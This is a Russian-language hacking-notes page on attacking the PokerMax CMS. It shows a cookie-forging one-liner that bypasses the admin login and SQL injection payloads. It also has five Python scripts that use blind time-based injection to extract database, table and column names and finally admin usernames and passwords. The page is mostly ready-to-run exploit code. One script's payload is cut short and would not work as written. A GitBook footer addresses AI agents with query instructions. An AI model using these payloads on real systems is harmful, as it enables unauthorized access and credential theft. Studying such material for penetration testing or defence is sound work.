> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/pokermax-cms-exploitation.md).

# PokerMax

**Поиск уязвимостей с помощью Searchsploit**

После выявления `pokermax` веб-страницы используйте Searchsploit, чтобы найти потенциальные уязвимости.

<figure><img src="/files/6732ddf86e021eefb7ac8a61ba84b46c47c48e2f" alt=""><figcaption></figcaption></figure>

**Обнаружение панели аутентификации администратора:**

Обнаружена панель аутентификации администратора. Фрагмент JavaScript в консоли изменяет `ValidUserAdmin` на `administrator`, позволяя получить доступ к `configure.php` в pokeradmin.

<figure><img src="/files/8d81f5a18c19930391e39369bea139a89cddd6ea" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/912619498f321388b886b87f8ec06738da0d4a95" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/07fe3573c660fcf06a9e7f165b8b11c393d590d8" alt=""><figcaption></figcaption></figure>

## Уязвимость SQL-инъекции

**Обнаружение уязвимости SQL-инъекции:**

<figure><img src="/files/1680ee9c93d5973425aa1b713910ebc22ee85f93" alt=""><figcaption></figcaption></figure>

#### Выявите уязвимость SQL-инъекции в веб-приложении. Используйте [BurpSuite](/ru/hacking-tools/web/burpsuite.md) для перехвата трафика.

<figure><img src="/files/c14d65e39fc0e141e609298827df719ae7e62d7a" alt=""><figcaption></figcaption></figure>

#### Определение количества столбцов с помощью ORDER BY

```sql
admin' order by 7-- -
```

#### Попытка перечисления таблиц с UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Использование SQL-инъекции на основе времени

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/cb45d58bbfc095aba485842237ba005cf74df555" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имени базы данных

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/9d5cc3efbc195cbc4c27ef20a447f389169a7775" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения всех имен баз данных

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/283e8fc3eab737bf999e0adfab4d5b9a8f848a34" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имен таблиц

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/0bfeead389bea11b7808a15cda7b87100ea2ee72" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения имен столбцов

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/55d11be645038b47ee8707847f9cb3d35c9da7dd" alt=""><figcaption></figcaption></figure>

#### Автоматизация на Python для извлечения содержимого столбцов имени пользователя и пароля

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Начинаю атаку брутфорсом")
    time.sleep(2)
    p2 = log.progress("Извлечение данных:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL-инъекция выполнена")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/084676b552300a848fffeb97524915791aaaadf3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
